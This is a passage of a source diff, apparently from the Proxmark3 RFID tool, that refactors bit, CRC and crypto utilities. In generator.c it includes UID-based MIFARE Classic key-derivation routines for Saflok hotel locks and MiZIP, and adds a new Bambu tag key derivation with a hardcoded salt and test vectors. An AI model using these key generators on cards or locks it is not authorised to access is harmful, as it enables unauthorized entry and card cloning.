100644 --- a/client/src/wiegand_formatutils.h +++ b/client/src/wiegand_formatutils.h @@ -52,6 +52,7 @@ bool set_nonlinear_field(wiegand_message_t *data, uint64_t value, uint8_t numBit wiegand_message_t initialize_message_object(uint32_t top, uint32_t mid, uint32_t bot, int n); +uint8_t get_length_from_header(wiegand_message_t *data); bool add_HID_header(wiegand_message_t *data); #endif diff --git a/common/commonutil.c b/common/commonutil.c index 09608ac9e..ff0782514 100644 --- a/common/commonutil.c +++ b/common/commonutil.c @@ -17,6 +17,7 @@ //----------------------------------------------------------------------------- #include "commonutil.h" #include +#include "stdbool.h" /* Similar to FpgaGatherVersion this formats stored version information * into a string representation. It takes a pointer to the struct version_information_t, @@ -98,39 +99,13 @@ uint8_t reflect8(uint8_t b) { return (b * 0x0202020202ULL & 0x010884422010ULL) % 1023; } - -// Reverse the bits in a byte with 4 operations (64-bit multiply, no division): -/* -uint8_t reflect8(uint8_t b) { - return ((b * 0x80200802ULL) & 0x0884422110ULL) * 0x0101010101ULL >> 32; -} -*/ - -uint16_t reflect16(uint16_t b) { - uint16_t v = 0; - v |= (b & 0x8000) >> 15; - v |= (b & 0x4000) >> 13; - v |= (b & 0x2000) >> 11; - v |= (b & 0x1000) >> 9; - v |= (b & 0x0800) >> 7; - v |= (b & 0x0400) >> 5; - v |= (b & 0x0200) >> 3; - v |= (b & 0x0100) >> 1; - - v |= (b & 0x0080) << 1; - v |= (b & 0x0040) << 3; - v |= (b & 0x0020) << 5; - v |= (b & 0x0010) << 7; - v |= (b & 0x0008) << 9; - v |= (b & 0x0004) << 11; - v |= (b & 0x0002) << 13; - v |= (b & 0x0001) << 15; +uint16_t reflect16(uint16_t v) { + v = (reflect8(v) << 8) | (reflect8(v >> 8) & 0xFF); return v; } -uint32_t reflect32(uint32_t b) { +uint32_t reflect32(uint32_t v) { // https://graphics.stanford.edu/~seander/bithacks.html#BitReverseTable - uint32_t v = b; // 32-bit word to reverse bit order // swap odd and even bits v = ((v >> 1) & 0x55555555) | ((v & 0x55555555) << 1); // swap consecutive pairs @@ -144,13 +119,19 @@ uint32_t reflect32(uint32_t b) { return v; } -uint64_t reflect64(uint64_t b) { +uint64_t reflect48(uint64_t v) { + uint64_t vhi = reflect16(v >> 32); + uint64_t vlo = reflect32(v); + v = (vlo << 32) | (vhi & 0xFFFF); + return v; +} + +uint64_t reflect64(uint64_t v) { // https://graphics.stanford.edu/~seander/bithacks.html#BitReverseTable - uint64_t v = b; // 32-bit word to reverse bit order - // swap 2-byte long pairs + // swap 4-byte long pairs uint64_t v1 = reflect32(v >> 32); uint64_t v2 = reflect32(v); - v = (v1 << 32) | (v2 & 0xFFFFFFFF); + v = (v2 << 32) | (v1 & 0xFFFFFFFF); return v; } @@ -423,31 +404,87 @@ void Uint8byteToMemBe(uint8_t *data, uint64_t value) { } // Rotate Left - Ultralight, Desfire -void rol(uint8_t *data, const size_t len) { +void rol(uint8_t *data, const size_t n) { uint8_t first = data[0]; - for (size_t i = 0; i < len - 1; i++) { + for (size_t i = 0; i < n - 1; i++) { data[i] = data[i + 1]; } - data[len - 1] = first; + data[n - 1] = first; } // Rotate Right - Ultralight, Desfire -void ror(uint8_t *data, const size_t len) { - uint8_t last = data[len - 1]; +void ror(uint8_t *data, const size_t n) { + uint8_t last = data[n - 1]; - for (int i = len - 1; i > 0; i--) { + for (int i = n - 1; i > 0; i--) { data[i] = data[i - 1]; } data[0] = last; } +void xor(uint8_t *dest, const uint8_t *src, size_t n) { -void lsl(uint8_t *data, size_t len) { - for (size_t n = 0; n < len - 1; n++) { - data[n] = (data[n] << 1) | (data[n + 1] >> 7); + const uint8_t *s = src; + uint8_t *d = dest; + + for (; n > 0; n--) { + *d++ ^= *s++; + } +} + +// left shift an array of length one bit +void lsl(uint8_t *d, size_t n) { + for (size_t i = 0; i < n - 1; i++) { + d[i] = (d[i] << 1) | (d[i + 1] >> 7); + } + d[n - 1] <<= 1; +} + +void lslx(uint8_t *d, size_t n, uint8_t shifts) { + for (uint8_t i = 0; i < shifts; i++) { + for (size_t j = 0; j < n - 1; j++) { + d[j] = (d[j] << 1) | (d[j + 1] >> 7); + } + d[n - 1] <<= 1; + } +} + +// right shift an array of length one bit +void rsl(uint8_t *d, size_t n) { + + uint8_t carry = 0; + + for (size_t i = 0; i < n; i++) { + + // Save the LSB before shifting + uint8_t new_carry = d[i] & 0x1; + + // Shift current byte right and incorporate previous carry + d[i] = (d[i] >> 1) | (carry ? 0x80 : 0); + + // Update carry for next byte + carry = new_carry; + } +} + +void rslx(uint8_t *d, size_t n, uint8_t shifts) { + + uint8_t carry = 0; + for (uint8_t j = 0; j < shifts; j++) { + + for (size_t i = 0; i < n; i++) { + + // Save the LSB before shifting + uint8_t new_carry = d[i] & 0x1; + + // Shift current byte right and incorporate previous carry + d[i] = (d[i] >> 1) | (carry ? 0x80 : 0); + + // Update carry for next byte + carry = new_carry; + } } - data[len - 1] <<= 1; } @@ -557,9 +594,69 @@ void reverse_arraybytes(uint8_t *arr, size_t len) { } } -void reverse_arraybytes_copy(uint8_t *arr, uint8_t *dest, size_t len) { - size_t i; - for (i = 0; i < len ; i++) { +void reverse_arraybytes_copy(const uint8_t *arr, uint8_t *dest, size_t len) { + for (size_t i = 0; i < len ; i++) { dest[i] = reflect8(arr[i]); } } + +// TODO: Boost performance by copying in chunks of 1, 2, or 4 bytes when feasible. +/** + * @brief Concatenate bits from src to dest, bitstream is stored MSB first + * which means that the dest_offset=0 is the MSB of the dest[0] + * + */ +size_t concatbits(uint8_t *dest, int dest_offset, const uint8_t *src, int src_offset, size_t nbits, bool src_lsb) { + int i, end, step; + + // overlap + if ((src - dest) * 8 + src_offset - dest_offset > 0) { + i = 0; + end = nbits; + step = 1; + } else { + i = nbits - 1; + end = -1; + step = -1; + } + + for (; i != end; i += step) { + // equiv of dest_bits[dest_offset + i] = src_bits[src_offset + i] + CLEAR_BIT_MSB(dest, dest_offset + i); + if (src_lsb ? TEST_BIT_LSB(src, src_offset + i) : TEST_BIT_MSB(src, src_offset + i)) SET_BIT_MSB(dest, dest_offset + i); + } + + return dest_offset + nbits; +} + +int char2int(char c) { + if (c >= '0' && c <= '9') return c - '0'; + if (c >= 'A' && c <= 'F') return c - 'A' + 10; + if (c >= 'a' && c <= 'f') return c - 'a' + 10; + return -1; // Invalid character for hex +} + +// returns the number of bytes written +int hexstr2ByteArr(const char *hexstr, unsigned char *array, size_t asize) { + size_t n = 0; + while (hexstr[n] != '\0') { + n++; + } + + // Check if the input is valid and fits in the output array + if (n % 2 != 0 || asize < n >> 1) { + return -1; // Error: invalid length or insufficient byte array size + } + + for (size_t i = 0; i < n; i += 2) { + int high = char2int(hexstr[i]); + int low = char2int(hexstr[i + 1]); + + if (high == -1 || low == -1) { + return -1; // Error: invalid hex character + } + + array[i >> 1] = (high << 4) | low; + } + return n >> 1; +} diff --git a/common/commonutil.h b/common/commonutil.h index c5c7279d9..bb4697ffa 100644 --- a/common/commonutil.h +++ b/common/commonutil.h @@ -65,6 +65,21 @@ #define REV64(x) (REV32(x) + ((uint64_t)(REV32((x) >> 32) << 32))) #endif +typedef struct { + int Year; + int Month; + int Day; + int Hour; + int Minute; +} Date_t; + + +int calculate_hours_between_dates(const Date_t s, Date_t *e); +void add_minutes(Date_t *d, int minutes_to_add); +void add_hours(Date_t *d, int hours_to_add); +void add_days(Date_t *d, int days_to_add); +uint8_t days_in_month(int year, int month); + extern struct version_information_t g_version_information; void FormatVersionInformation(char *dst, int len, const char *prefix, const void *version_info); @@ -72,9 +87,10 @@ void format_version_information_short(char *dst, int len, const void *version_in uint32_t reflect(uint32_t v, int b); // used in crc.c ... uint8_t reflect8(uint8_t b); // dedicated 8bit reversal -uint16_t reflect16(uint16_t b); // dedicated 16bit reversal -uint32_t reflect32(uint32_t b); // dedicated 32bit reversal -uint64_t reflect64(uint64_t b); // dedicated 64bit reversal +uint16_t reflect16(uint16_t v); // dedicated 16bit reversal +uint32_t reflect32(uint32_t v); // dedicated 32bit reversal +uint64_t reflect48(uint64_t v); // dedicated 48bit reversal +uint64_t reflect64(uint64_t v); // dedicated 64bit reversal void num_to_bytes(uint64_t n, size_t len, uint8_t *dest); uint64_t bytes_to_num(const uint8_t *src, size_t len); @@ -113,10 +129,16 @@ void Uint7byteToMemBe(uint8_t *data, uint64_t value); void Uint8byteToMemBe(uint8_t *data, uint64_t value); // rotate left byte array -void rol(uint8_t *data, const size_t len); -void ror(uint8_t *data, const size_t len); +void rol(uint8_t *data, const size_t n); +void ror(uint8_t *data, const size_t n); +void xor(uint8_t *dest, const uint8_t *src, size_t n); + +void lsl(uint8_t *d, size_t n); +void lslx(uint8_t *d, size_t n, uint8_t shifts); + +void rsl(uint8_t *d, size_t n); +void rslx(uint8_t *d, size_t n, uint8_t shifts); -void lsl(uint8_t *data, size_t len); uint32_t le24toh(const uint8_t data[3]); void htole24(uint32_t val, uint8_t data[3]); @@ -132,5 +154,9 @@ void reverse_array_copy(const uint8_t *src, int src_len, uint8_t *dest); bool hexstr_to_byte_array(const char *hexstr, uint8_t *d, size_t *n); void reverse_arraybytes(uint8_t *arr, size_t len); -void reverse_arraybytes_copy(uint8_t *arr, uint8_t *dest, size_t len); +void reverse_arraybytes_copy(const uint8_t *arr, uint8_t *dest, size_t len); + +size_t concatbits(uint8_t *dest, int dest_offset, const uint8_t *src, int src_offset, size_t nbits, bool src_lsb); +int char2int(char c); +int hexstr2ByteArr(const char *hexstr, unsigned char *array, size_t asize); #endif diff --git a/common/crapto1/crypto1.c b/common/crapto1/crypto1.c index 78d42cec4..8ffe04fdb 100644 --- a/common/crapto1/crypto1.c +++ b/common/crapto1/crypto1.c @@ -35,8 +35,9 @@ int filter(uint32_t const x) { (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) void crypto1_init(struct Crypto1State *state, uint64_t key) { - if (state == NULL) + if (state == NULL) { return; + } state->odd = 0; state->even = 0; for (int i = 47; i > 0; i -= 2) { @@ -53,7 +54,9 @@ void crypto1_deinit(struct Crypto1State *state) { #if !defined(__arm__) || defined(__linux__) || defined(_WIN32) || defined(__APPLE__) // bare metal ARM Proxmark lacks calloc()/free() struct Crypto1State *crypto1_create(uint64_t key) { struct Crypto1State *state = calloc(sizeof(*state), sizeof(uint8_t)); - if (!state) return NULL; + if (state == NULL) { + return NULL; + } crypto1_init(state, key); return state; } @@ -145,8 +148,8 @@ uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) { */ uint32_t prng_successor(uint32_t x, uint32_t n) { SWAPENDIAN(x); - while (n--) + while (n--) { x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; - + } return SWAPENDIAN(x); } diff --git a/common/crc16.c b/common/crc16.c index 812cd3481..ecf8c1ed7 100644 --- a/common/crc16.c +++ b/common/crc16.c @@ -27,12 +27,14 @@ static CrcType_t current_crc_type = CRC_NONE; void init_table(CrcType_t crctype) { // same crc algo, and initialised already - if (crctype == current_crc_type && crc_table_init) + if (crctype == current_crc_type && crc_table_init) { return; + } // not the same crc algo. reset table. - if (crctype != current_crc_type) + if (crctype != current_crc_type) { reset_table(); + } current_crc_type = crctype; @@ -68,23 +70,29 @@ void init_table(CrcType_t crctype) { void generate_table(uint16_t polynomial, bool refin) { for (uint16_t i = 0; i < 256; i++) { + uint16_t c, crc = 0; - if (refin) + + if (refin) { c = reflect8(i) << 8; - else + } else { c = i << 8; + } for (uint16_t j = 0; j < 8; j++) { - if ((crc ^ c) & 0x8000) + if ((crc ^ c) & 0x8000) { crc = (crc << 1) ^ polynomial; - else + } else { crc = crc << 1; + } c = c << 1; } - if (refin) + + if (refin) { crc = reflect16(crc); + } crc_table[i] = crc; } @@ -102,21 +110,25 @@ uint16_t crc16_fast(uint8_t const *d, size_t n, uint16_t initval, bool refin, bo // fast lookup table algorithm without augmented zero bytes, e.g. used in pkzip. // only usable with polynom orders of 8, 16, 24 or 32. - if (n == 0) + if (n == 0) { return (~initval); + } uint16_t crc = initval; - if (refin) + if (refin) { crc = reflect16(crc); + } - if (!refin) + if (refin == false) { while (n--) crc = (crc << 8) ^ crc_table[((crc >> 8) ^ *d++) & 0xFF ]; - else + } else { while (n--) crc = (crc >> 8) ^ crc_table[(crc & 0xFF) ^ *d++]; + } - if (refout ^ refin) + if (refout ^ refin) { crc = reflect16(crc); + } return crc; } @@ -142,13 +154,21 @@ uint16_t update_crc16(uint16_t crc, uint8_t c) { } // two ways. msb or lsb loop. -uint16_t Crc16(uint8_t const *d, size_t length, uint16_t remainder, uint16_t polynomial, bool refin, bool refout) { - if (length == 0) +uint16_t Crc16(uint8_t const *d, size_t bitlength, uint16_t remainder, uint16_t polynomial, bool refin, bool refout) { + if (bitlength == 0) { return (~remainder); + } - for (uint32_t i = 0; i < length; ++i) { - uint8_t c = d[i]; - if (refin) c = reflect8(c); + uint8_t offset = 8 - (bitlength % 8); + // front padding with 0s won't change the CRC result + uint8_t prebits = 0; + for (uint32_t i = 0; i < (bitlength + 7) / 8; ++i) { + uint8_t c = prebits | d[i] >> offset; + prebits = d[i] << (8 - offset); + + if (refin) { + c = reflect8(c); + } // xor in at msb remainder ^= (c << 8); @@ -162,8 +182,10 @@ uint16_t Crc16(uint8_t const *d, size_t length, uint16_t remainder, uint16_t pol } } } - if (refout) + + if (refout) { remainder = reflect16(remainder); + } return remainder; } diff --git a/common/crc16.h b/common/crc16.h index 80758d95b..5e0686fca 100644 --- a/common/crc16.h +++ b/common/crc16.h @@ -20,6 +20,7 @@ #include "common.h" +#define CRC16_SIZE 2 #define CRC16_POLY_CCITT 0x1021 #define CRC16_POLY_KERMIT 0x8408 #define CRC16_POLY_LEGIC 0xc6c6 //0x6363 @@ -47,7 +48,7 @@ typedef enum { uint16_t update_crc16_ex(uint16_t crc, uint8_t c, uint16_t polynomial); uint16_t update_crc16(uint16_t crc, uint8_t c); -uint16_t Crc16(uint8_t const *d, size_t length, uint16_t remainder, uint16_t polynomial, bool refin, bool refout); +uint16_t Crc16(uint8_t const *d, size_t bitlength, uint16_t remainder, uint16_t polynomial, bool refin, bool refout); uint16_t Crc16ex(CrcType_t ct, const uint8_t *d, size_t n); void compute_crc(CrcType_t ct, const uint8_t *d, size_t n, uint8_t *first, uint8_t *second); diff --git a/common/default_version_pm3.c b/common/default_version_pm3.c index 284639b49..d93a7ef15 100644 --- a/common/default_version_pm3.c +++ b/common/default_version_pm3.c @@ -1,5 +1,20 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- #include "common.h" -/* Generated file, do not edit */ +/* This is the default version_pm3.c file that Makefile.common falls back to if sh is not available */ #ifndef ON_DEVICE #define SECTVERSINFO #else @@ -8,10 +23,10 @@ const struct version_information_t SECTVERSINFO g_version_information = { VERSION_INFORMATION_MAGIC, - 1, - 1, - 2, - "Iceman/master/v4.18994", - "2024-09-10 15:40:28", - "4ecb7df89" + 1, /* version 1 */ + 0, /* version information not present */ + 2, /* cleanliness couldn't be determined */ + "Iceman/master/unknown", + "1970-01-01 00:00:00", + "no sha256" }; diff --git a/common/generator.c b/common/generator.c index f7a53ed1e..24e7e1b16 100644 --- a/common/generator.c +++ b/common/generator.c @@ -25,7 +25,7 @@ #include #include "commonutil.h" //BSWAP_16 #include "common.h" //BSWAP_32/64 -#include "util.h" + #include "pm3_cmd.h" #include "crc16.h" // crc16 ccitt #include "mbedtls/sha1.h" @@ -33,9 +33,11 @@ #include "mbedtls/cmac.h" #include "mbedtls/cipher.h" #include "mbedtls/md.h" +#include "mbedtls/hkdf.h" #ifndef ON_DEVICE #include "ui.h" +#include "util.h" # define prnt(args...) PrintAndLogEx(DEBUG, ## args ); #else # include "dbprint.h" @@ -351,12 +353,11 @@ int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t 0xda3e3fd649ddULL, 0x58dded078e3eULL, 0x5cd005cfd907ULL, 0x118dd00187d0ULL }; - uint8_t h = ((uid[3] >> 4) & 0xF); - h += ((uid[2] >> 4) & 0xF); + uint8_t h = (NIBBLE_HIGH(uid[3]) & 0xF); + h += (NIBBLE_HIGH(uid[2]) & 0xF); h += uid[0] & 0xF; uint64_t m = lut[h & 0xF]; - uint64_t id = (bytes_to_num(uid, 4) << 8); *key = (h + (id + m + ((uint64_t)h << 40ULL))) & 0xFFFFFFFFFFFFULL; @@ -392,7 +393,7 @@ int mfc_algo_mizip_one(const uint8_t *uid, uint8_t sector, uint8_t keytype, uint } else { - uint8_t xor[6]; + uint8_t txor[6]; if (keytype == 0) { @@ -403,15 +404,15 @@ int mfc_algo_mizip_one(const uint8_t *uid, uint8_t sector, uint8_t keytype, uint 0x317AB72F4490, }; - num_to_bytes(xor_tbl_a[sector - 1], 6, xor); + num_to_bytes(xor_tbl_a[sector - 1], 6, txor); *key = - (uint64_t)(uid[0] ^ xor[0]) << 40 | - (uint64_t)(uid[1] ^ xor[1]) << 32 | - (uint64_t)(uid[2] ^ xor[2]) << 24 | - (uint64_t)(uid[3] ^ xor[3]) << 16 | - (uint64_t)(uid[0] ^ xor[4]) << 8 | - (uint64_t)(uid[1] ^ xor[5]) + (uint64_t)(uid[0] ^ txor[0]) << 40 | + (uint64_t)(uid[1] ^ txor[1]) << 32 | + (uint64_t)(uid[2] ^ txor[2]) << 24 | + (uint64_t)(uid[3] ^ txor[3]) << 16 | + (uint64_t)(uid[0] ^ txor[4]) << 8 | + (uint64_t)(uid[1] ^ txor[5]) ; } else { @@ -423,15 +424,15 @@ int mfc_algo_mizip_one(const uint8_t *uid, uint8_t sector, uint8_t keytype, uint }; // B - num_to_bytes(xor_tbl_b[sector - 1], 6, xor); + num_to_bytes(xor_tbl_b[sector - 1], 6, txor); *key = - (uint64_t)(uid[2] ^ xor[0]) << 40 | - (uint64_t)(uid[3] ^ xor[1]) << 32 | - (uint64_t)(uid[0] ^ xor[2]) << 24 | - (uint64_t)(uid[1] ^ xor[3]) << 16 | - (uint64_t)(uid[2] ^ xor[4]) << 8 | - (uint64_t)(uid[3] ^ xor[5]) + (uint64_t)(uid[2] ^ txor[0]) << 40 | + (uint64_t)(uid[3] ^ txor[1]) << 32 | + (uint64_t)(uid[0] ^ txor[2]) << 24 | + (uint64_t)(uid[1] ^ txor[3]) << 16 | + (uint64_t)(uid[2] ^ txor[4]) << 8 | + (uint64_t)(uid[3] ^ txor[5]) ; } @@ -540,6 +541,41 @@ int mfc_algo_sky_all(uint8_t *uid, uint8_t *keys) { return PM3_SUCCESS; } + +static const uint8_t bambu_salt[] = { 0x9a, 0x75, 0x9c, 0xf2, 0xc4, 0xf7, 0xca, 0xff, 0x22, 0x2c, 0xb9, 0x76, 0x9b, 0x41, 0xbc, 0x96 }; +static const uint8_t bambu_context_a[] = "RFID-A"; +static const uint8_t bambu_context_b[] = "RFID-B"; + +int mfc_algo_bambu_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { + if (uid == NULL) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + + uint8_t keys[16 * 6] = {0}; + + // prepare hmac context + const mbedtls_md_info_t *info = mbedtls_md_info_from_type(MBEDTLS_MD_SHA256); + + if (keytype == 0) { + mbedtls_hkdf(info, bambu_salt, sizeof(bambu_salt), uid, 4, bambu_context_a, sizeof(bambu_context_a), keys, sizeof(keys)); + } else { + mbedtls_hkdf(info, bambu_salt, sizeof(bambu_salt), uid, 4, bambu_context_b, sizeof(bambu_context_b), keys, sizeof(keys)); + } + + *key = bytes_to_num(keys + (sector * 6), 6); + return PM3_SUCCESS; +} + +int mfc_algo_bambu_all(uint8_t *uid, uint8_t *keys) { + if (uid == NULL) return PM3_EINVARG; + if (keys == NULL) return PM3_EINVARG; + + // prepare hmac context + const mbedtls_md_info_t *info = mbedtls_md_info_from_type(MBEDTLS_MD_SHA256); + mbedtls_hkdf(info, bambu_salt, sizeof(bambu_salt), uid, 4, bambu_context_a, sizeof(bambu_context_a), keys, (16 * 6)); + mbedtls_hkdf(info, bambu_salt, sizeof(bambu_salt), uid, 4, bambu_context_b, sizeof(bambu_context_b), keys + (16 * 6), (16 * 6)); + return PM3_SUCCESS; +} + // LF T55x7 White gun cloner algo uint32_t lf_t55xx_white_pwdgen(uint32_t id) { uint32_t r1 = rotl(id & 0x000000ec, 8); @@ -617,10 +653,9 @@ int mfc_algo_touch_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t * int generator_selftest(void) { #ifndef ON_DEVICE -#define NUM_OF_TEST 10 +#define NUM_OF_TEST 11 - PrintAndLogEx(INFO, "PWD / KEY generator selftest"); - PrintAndLogEx(INFO, "----------------------------"); + PrintAndLogEx(INFO, "------- " _CYAN_("PWD / KEY generator self tests") " --------"); uint8_t testresult = 0; @@ -629,7 +664,6 @@ int generator_selftest(void) { bool success = (pwd1 == 0x8432EB17); if (success) testresult++; - PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %08X - %s", sprint_hex(uid1, 7), pwd1, success ? _GREEN_("ok") : "->8432EB17<-"); uint8_t uid2[] = {0x04, 0x1f, 0x98, 0xea, 0x1e, 0x3e, 0x81}; @@ -687,7 +721,7 @@ int generator_selftest(void) { success = (key8 == 0x82c7e64bc565); if (success) testresult++; - PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %"PRIx64" - %s", sprint_hex(uid8, 4), key8, success ? _GREEN_("ok") : "->82C7E64BC565<--"); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %012"PRIx64" - %s", sprint_hex(uid8, 4), key8, success ? _GREEN_("ok") : "->82C7E64BC565<--"); // MFC SAFLOK uint8_t uid9[] = {0x11, 0x22, 0x33, 0x44}; @@ -696,13 +730,22 @@ int generator_selftest(void) { success = (key9 == 0xD1E2AA68E39A); if (success) testresult++; - PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %"PRIX64" - %s", sprint_hex(uid9, 4), key9, success ? _GREEN_("ok") : _RED_(">> D1E2AA68E39A <<")); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %012"PRIX64" - %s", sprint_hex(uid9, 4), key9, success ? _GREEN_("ok") : _RED_(">> D1E2AA68E39A <<")); uint32_t lf_id = lf_t55xx_white_pwdgen(0x00000080); success = (lf_id == 0x00018383); if (success) testresult++; - PrintAndLogEx(success ? SUCCESS : WARNING, "ID | 0x00000080 | %08"PRIx32 " - %s", lf_id, success ? _GREEN_("ok") : "->00018383<--"); + PrintAndLogEx(success ? SUCCESS : WARNING, "ID | 0x00000080 | %08"PRIx32 " - %s", lf_id, success ? _GREEN_("ok") : ">> 00018383 <<"); + + // MFC Bambu + uint64_t key13 = 0; + mfc_algo_bambu_one(uid9, 0, 0, &key13); + success = (key13 == 0x0729F3B2D37A); + if (success) + testresult++; + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %012"PRIX64" - %s", sprint_hex(uid9, 4), key13, success ? _GREEN_("ok") : _RED_(">> 0729F3B2D37A <<")); + PrintAndLogEx(SUCCESS, "------------------- Selftest %s", (testresult == NUM_OF_TEST) ? _GREEN_("ok") : _RED_("fail")); diff --git a/common/generator.h b/common/generator.h index ce2601f26..b98731f19 100644 --- a/common/generator.h +++ b/common/generator.h @@ -62,6 +62,8 @@ int mfc_generate4b_nuid(uint8_t *uid, uint8_t *nuid); int mfc_algo_touch_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); +int mfc_algo_bambu_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); +int mfc_algo_bambu_all(uint8_t *uid, uint8_t *keys); uint32_t lf_t55xx_white_pwdgen(uint32_t id); int mfdes_kdf_input_gallagher(uint8_t *uid, uint8_t uidLen, uint8_t keyNo, uint32_t aid, uint8_t *kdfInputOut, uint8_t *kdfInputLen); diff --git a/common/hitag2/hitag2_crypto.c b/common/hitag2/hitag2_crypto.c index 9e9499426..381451645 100644 --- a/common/hitag2/hitag2_crypto.c +++ b/common/hitag2/hitag2_crypto.c @@ -404,15 +404,10 @@ void ht2_hitag2_cipher_reset(hitag2_t *tag, const uint8_t *iv) { ((uint64_t)tag->sectors[1][1] << 24) | ((uint64_t)tag->sectors[1][2] << 32) | ((uint64_t)tag->sectors[1][3] << 40); - uint32_t uid = ((uint32_t)tag->sectors[0][0]) | - ((uint32_t)tag->sectors[0][1] << 8) | - ((uint32_t)tag->sectors[0][2] << 16) | - ((uint32_t)tag->sectors[0][3] << 24); - uint32_t iv_ = (((uint32_t)(iv[0]))) | - (((uint32_t)(iv[1])) << 8) | - (((uint32_t)(iv[2])) << 16) | - (((uint32_t)(iv[3])) << 24); - tag->cs = ht2_hitag2_init(REV64(key), REV32(uid), REV32(iv_)); + uint32_t uid = MemLeToUint4byte(tag->sectors[0]); + uint32_t riv = MemLeToUint4byte(iv); + + tag->cs = ht2_hitag2_init(REV64(key), REV32(uid), REV32(riv)); } int ht2_hitag2_cipher_authenticate(uint64_t *state, const uint8_t *authenticator_is) { diff --git a/common/hitag2/hitag2_crypto.h b/common/hitag2/hitag2_crypto.h index 1dae77353..f5d4e7102 100644 --- a/common/hitag2/hitag2_crypto.h +++ b/common/hitag2/hitag2_crypto.h @@ -29,7 +29,7 @@ typedef struct { enum { TAG_STATE_RESET = 0x01, // Just powered up, awaiting GetSnr TAG_STATE_ACTIVATING = 0x02, // In activation phase (password mode), sent UID, awaiting reader password - TAG_STATE_ACTIVATED = 0x03, // Activation complete, awaiting read/write commands +// TAG_STATE_ACTIVATED = 0x03, // Activation complete, awaiting read/write commands TAG_STATE_WRITING = 0x04, // In write command, awaiting sector contents to be written } state; uint16_t active_sector; diff --git a/common/iso15693tools.c b/common/iso15693tools.c index 5f6dd7567..9c554fd70 100644 --- a/common/iso15693tools.c +++ b/common/iso15693tools.c @@ -16,10 +16,8 @@ // ISO15693 other commons //----------------------------------------------------------------------------- #include "iso15693tools.h" - #include - #define ISO15693_SPRINTUID_BUFLEN (3 * 8 + 1) // returns a string representation of the UID @@ -28,9 +26,10 @@ // uid[] the UID in transmission order // return: ptr to string char *iso15693_sprintUID(char *dest, uint8_t *uid) { - static char tempbuf[ISO15693_SPRINTUID_BUFLEN] = {0}; - if (dest == NULL) - dest = tempbuf; + static char tmp[ISO15693_SPRINTUID_BUFLEN] = {0}; + if (dest == NULL) { + dest = tmp; + } if (uid) { #ifdef HAVE_SNPRINTF diff --git a/common/lfdemod.c b/common/lfdemod.c index 6a4dbdf73..21ef5469a 100644 --- a/common/lfdemod.c +++ b/common/lfdemod.c @@ -2075,6 +2075,7 @@ size_t fskdemod(uint8_t *dest, size_t size, uint8_t rfLen, uint8_t invert, uint8 // only transition waves are 1s // TODO: Iceman - hard coded value 7, should be #define void psk1TOpsk2(uint8_t *bits, size_t size) { + if (bits == NULL) return; uint8_t lastbit = bits[0]; for (size_t i = 1; i < size; i++) { //ignore errors diff --git a/common/mbedtls/Makefile b/common/mbedtls/Makefile index 0413bdff7..07c047ffb 100644 --- a/common/mbedtls/Makefile +++ b/common/mbedtls/Makefile @@ -25,6 +25,7 @@ MYSRCS = \ ecdh.c \ ecdsa.c \ gcm.c \ + hkdf.c \ md.c \ md5.c \ oid.c \ diff --git a/common/mbedtls/asn1parse.c b/common/mbedtls/asn1parse.c index 98460e055..84a558bdc 100644 --- a/common/mbedtls/asn1parse.c +++ b/common/mbedtls/asn1parse.c @@ -321,11 +321,11 @@ static int asn1_get_sequence_of_cb(void *ctx, cb_ctx->cur; if (cur->buf.p != NULL) { - cur->next = - mbedtls_calloc(1, sizeof(mbedtls_asn1_sequence)); + cur->next = mbedtls_calloc(1, sizeof(mbedtls_asn1_sequence)); - if (cur->next == NULL) + if (cur->next == NULL) { return (MBEDTLS_ERR_ASN1_ALLOC_FAILED); + } cur = cur->next; } diff --git a/common/mbedtls/cmac.c b/common/mbedtls/cmac.c index 32a5937b0..b179ad483 100644 --- a/common/mbedtls/cmac.c +++ b/common/mbedtls/cmac.c @@ -180,8 +180,7 @@ int mbedtls_cipher_cmac_starts(mbedtls_cipher_context_t *ctx, if (ctx == NULL || ctx->cipher_info == NULL || key == NULL) return (MBEDTLS_ERR_CIPHER_BAD_INPUT_DATA); - if ((retval = mbedtls_cipher_setkey(ctx, key, (int)keybits, - MBEDTLS_ENCRYPT)) != 0) + if ((retval = mbedtls_cipher_setkey(ctx, key, (int)keybits, MBEDTLS_ENCRYPT)) != 0) return (retval); type = ctx->cipher_info->type; @@ -405,14 +404,12 @@ int mbedtls_aes_cmac_prf_128(const unsigned char *key, size_t key_length, } else { memset(zero_key, 0, MBEDTLS_AES_BLOCK_SIZE); - ret = mbedtls_cipher_cmac(cipher_info, zero_key, 128, key, - key_length, int_key); + ret = mbedtls_cipher_cmac(cipher_info, zero_key, 128, key, key_length, int_key); if (ret != 0) goto exit; } - ret = mbedtls_cipher_cmac(cipher_info, int_key, 128, input, in_len, - output); + ret = mbedtls_cipher_cmac(cipher_info, int_key, 128, input, in_len, output); exit: mbedtls_platform_zeroize(int_key, sizeof(int_key)); diff --git a/common/mbedtls/config.h b/common/mbedtls/config.h index a3faef146..954817edc 100644 --- a/common/mbedtls/config.h +++ b/common/mbedtls/config.h @@ -2849,7 +2849,7 @@ * This module adds support for the Hashed Message Authentication Code * 